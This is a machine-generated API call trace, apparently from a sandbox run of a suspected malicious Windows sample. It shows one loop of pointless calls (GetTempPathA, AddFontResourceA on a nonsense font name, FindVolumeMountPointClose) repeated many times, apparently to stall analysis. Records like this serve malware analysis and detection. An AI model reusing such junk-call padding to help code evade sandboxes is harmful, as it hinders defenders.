	[0064.210] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.210] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.213] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.213] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.213] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.215] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.215] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.215] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.218] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.218] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.218] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.220] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.220] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.220] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.222] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.222] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.223] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.225] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.225] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.225] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.227] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.228] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.228] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.230] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.230] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.230] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.233] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.233] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.233] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.235] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.235] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.235] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.237] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.237] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.238] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.240] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.240] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.240] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.242] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.242] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.243] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.245] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.245] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.245] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.247] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.247] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.247] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.250] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.250] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.250] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.252] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.252] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.252] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.254] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.254] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.254] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.257] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.257] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.257] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.261] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.261] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.261] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.263] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.263] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.263] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.266] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.266] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.266] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.269] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.269] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.269] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.271] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.271] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.271] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.273] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.273] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.274] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.277] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.277] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.277] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.279] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.279] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.279] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.281] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.281] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.281] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.284] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.284] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.284] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.286] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.286] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.286] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.289] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.289] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.289] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.291] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.291] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.291] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.293] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.293] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.293] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.295] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.295] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.295] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.297] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.297] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.297] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.299] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.299] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.299] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.301] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.301] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.301] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.304] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.304] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.304] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.307] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.307] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.307] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.309] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.309] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.309] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.312] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.312] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.312] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.314] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.314] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.314] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.316] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.316] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.316] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.319] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.319] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.319] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.322] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.322] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.322] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.325] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.325] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.325] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.327] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.327] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.327] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.329] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.329] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.330] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.332] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.332] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.332] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.334] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.334] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.334] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.337] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.337] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.337] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.339] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.339] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.339] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.341] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
